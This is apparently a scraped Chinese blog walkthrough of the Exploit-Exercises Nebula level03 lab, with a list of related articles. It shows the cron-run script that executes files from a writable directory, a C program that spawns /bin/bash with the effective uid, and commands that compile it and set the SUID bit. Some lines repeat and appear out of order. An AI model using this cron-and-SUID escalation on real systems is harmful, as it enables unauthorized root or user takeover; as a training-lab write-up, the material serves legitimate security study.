ExploitExercises_Nebula_Level03
2016-12-26 15:41
309 查看
题目设置定时任务,定时执行/home/flag03/writable.sh脚本:
可以看到,该脚本去执行writable.d目录下的程序。
获取shell过程如下:
1. 在/tmp/目录下新建level03.c文件:
4. 运行/home/flag03/level03,获取shell
#!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
可以看到,该脚本去执行writable.d目录下的程序。
获取shell过程如下:
1. 在/tmp/目录下新建level03.c文件:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/bin/bash"); }2. 在/home/flag03/writable.d目录下新建level03.sh脚本,并且设置+x属性:
gcc -o /home/flag03/level03 /tmp/level03.c chmod u+s,a+x /home/flag03/level033. 完成以上步骤后,等待几分钟,当定时任务执行后,将在/home/flag03下编译生成level03文件,并且设置SUID属性;
4. 运行/home/flag03/level03,获取shell
相关文章推荐
- Nebula_level03
- i春秋 - Exploit-Exercises: Nebula - level03
- [导入]Nebula3学习笔记(4): 工具库
- Nebula3的多线程架构
- Nebula3的场景管理
- Nebula3 Render Application Wizard
- Nebula3 Light && Shadow 系统
- nebula_level00
- Nebula3学习笔记(5): IO实战, ZIP解压缩程序
- Nebula3绘制2D纹理
- Nebula3学习笔记(7): 脚本系统
- ExploitExercises_Nebula_Level04
- i春秋 - Exploit-Exercises: Nebula - level06
- Nebula3学习笔记(5): IO系统
- [导入]Nebula3的多线程架构
- Nebula3脚本系统
- 在Nebula3中加载自定义模型的思路
- Nebula3 Shader系统
- Nebula_level01
- Nebula3绘制2D纹理